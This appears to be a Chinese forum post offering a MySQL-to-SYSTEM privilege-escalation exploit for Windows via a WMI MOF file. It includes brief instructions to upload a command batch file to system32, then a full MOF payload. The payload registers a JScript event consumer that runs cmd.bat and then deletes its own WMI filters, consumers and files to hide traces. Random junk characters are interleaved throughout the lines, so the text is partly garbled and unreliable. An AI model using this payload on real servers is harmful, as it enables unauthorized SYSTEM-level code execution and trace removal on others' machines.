Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
/ R9 ]# `$ A- {: Y, F需要将要运行的命令写入到bat上传到system32目录，然后执行。
$ p  k3 R6 b+ `, t# x$ e, z0 Q2 p/ L
这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
6 @6 y7 i, T" U" l# s
#pragma
& w' ^1 }! |; H, K, }                        namespace("\\\\.\\root\\cimv2")
                        class
# T  b$ {' I, o+ Q% s- U: G4 i2 x                        MyClass547
0 q+ B# j$ k4 ^4 p+ ^7 Z                        {           [key]
' X* G' A* Z, \# }9 K                        string
4 h; S; j, W0 {                        Name;
                        };
                        class
                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
                        string
# F) d, \5 A) x                        Name;           [not_null]
6 K6 Q: {+ G) }3 j( q- o                        string
                        ScriptingEngine;           string
                        ScriptFileName;           [template]
( f/ i4 R3 ?* a4 r. c0 G                        string
                        ScriptText;         uint32 KillTimeout;
  b7 u6 q5 e, R                        }; instance of __Win32Provider as $P {
( \4 p  r+ X4 @. n                        Name
                        =
                        "ActiveScriptEventConsumer";     CLSID =
4 X1 x, {+ u6 [: E                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
9 i3 \7 x% ]! c; W                        PerUserInitialization
                        = TRUE;
* W- E$ U: e; e: M) ^, h                        }; instance of __EventConsumerProviderRegistration {         Provider
" `1 Y: @6 f1 j2 m0 f, E                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
                        };
, {( F7 Y  _& ?4 I4 z                        Instance of ActiveScriptEventConsumer
7 D  Q$ ^6 a4 Y( `$ X! b                        as $cons {         Name
  H' I5 {# g- W! x; o' Y                        =
                        "ASEC";         ScriptingEngine
7 k0 z" q$ G4 Z4 G7 S2 Q* Q                        =
                        "JScript";         ScriptText
                        =
  A1 Z6 k3 L5 v                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
                        Instance of ActiveScriptEventConsumer
7 b! x9 I; ^4 g( |( p: H0 M                        as $cons2 {         Name
                        =
                        "qndASEC";         ScriptingEngine
                        =
                        "JScript";         ScriptText
3 n5 ?5 a' ^# j: r7 e                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
# _7 Q1 j# v. Z8 L! e5 n                        }; instance of __EventFilter as $Filt {         Name
                        =
, t3 i/ s1 M. H! S% E                        "instfilt";         Query
, i" s; o2 Y0 W0 W  }8 {8 T# O3 d                        =
0 p. e6 A- Q2 X- m' K1 C2 l% R                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
1 A) A3 W$ v. u8 D$ B* L% i                        =
, k/ B* W0 Z# S4 \! M                        "qndfilt";         Query
                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
: m0 m& D, {, j! L% y                        =
. u$ V7 `7 M& y) L( a                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
, i0 D( \; X. \( k- l                        = $cons;         Filter
2 @% u; M1 t" @$ w0 L  n2 A                        = $Filt;
( V% G6 v6 d+ o" ^: R; h  y9 }                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
                        = $cons2;         Filter
+ v7 W, o+ o+ O! h5 @" N4 O4 H                        = $Filt2;
                        }; instance of MyClass547
/ q( X, R1 X' X2 R8 _                        as $MyClass {         Name
                        =
$ {/ ~$ S8 i  Y5 b+ Z7 E                        "ClassConsumer";
0 m: r4 L5 |! ]' x4 v% R                        };